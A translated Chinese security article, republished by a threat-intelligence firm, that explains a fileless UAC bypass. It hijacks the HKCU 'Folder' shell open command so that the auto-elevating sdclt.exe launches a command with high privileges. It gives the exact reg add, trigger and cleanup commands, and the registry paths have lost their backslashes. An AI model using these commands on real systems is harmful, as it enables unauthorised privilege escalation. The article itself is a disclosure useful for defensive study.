1.原理

该方法和其他UAC绕过方法一样,利用了某些会「自动提升许可权」的程序。这些程序会以高完整性级别运行,且不会触发UAC窗口的警示窗口。用户以中等许可权运行这些程序去载入DLL或执行命令,就可成功绕过UAC。

而此次绕过的关键就在于可执行文件sdclt.exe。Sdclt在Windows系统中的原本作用是备份和还原。你可以使用Windows SysInternals的SigCheck检查它是否会自动提升许可权:

sigcheck.exe -m C:WindowsSystem32sdclt.exe | findstr autoElevate

<autoElevate xm lns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</autoElevate>

注意:已经有几种滥用sdclt.exe绕过UAC的方法。你可以在Matt Nelson的博客上看到:

enigma0x3.net/2017/03/1

enigma0x3.net/2017/03/1

我此次说明的这种新方法是无文件,基于COM劫持的。

当以中等许可权调用sdclt.exe时,会发生的一些有趣事件:

  • 它以高许可权运行另一个sdclt.exe进程
  • 高许可权的sdclt进程会调用C:WindowsSystem32control.exe
  • control.exe进程以高许可权运行,并且…

使用Sysinternals Procmon,我们可以看到control.exe无法在当前用户注册表(HKCU)中找到「文件夹」对象的打开命令。

但是!因为我的UAC绕过方法不需要写入,所以我们可以让这个高许可权的进程去运行命令,即使我们只有中等级别的许可权。

2.开始绕过

您可以使用一些命令测试一下这个方法。

先设置注册表:

reg add "HKCUSoftwareClassesFoldershellopencommand" /d "cmd.exe /c notepad.exe" /f && reg add HKCUSoftwareClassesFoldershellopencommand /v "DelegateExecute" /f

开始绕过:

%windir%system32sdclt.exe

这时,你就可以看到以高许可权运行的notepad.exe。

最后不要忘记用以下方法清理注册表:

reg delete "HKCUSoftwareClassesFoldershellopencommand" /f

谢谢观看!

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场

来源:使用 sdclt 绕过 UAC 的新方法

白帽汇从事信息安全,专注于安全大数据、企业威胁情报。

公司产品:FOFA-网路空间安全搜索引擎、FOEYE-网路空间检索系统、NOSEC-安全讯息平台。

为您提供:网路空间测绘、企业资产收集、企业威胁情报、应急响应服务。


推荐阅读:
相关文章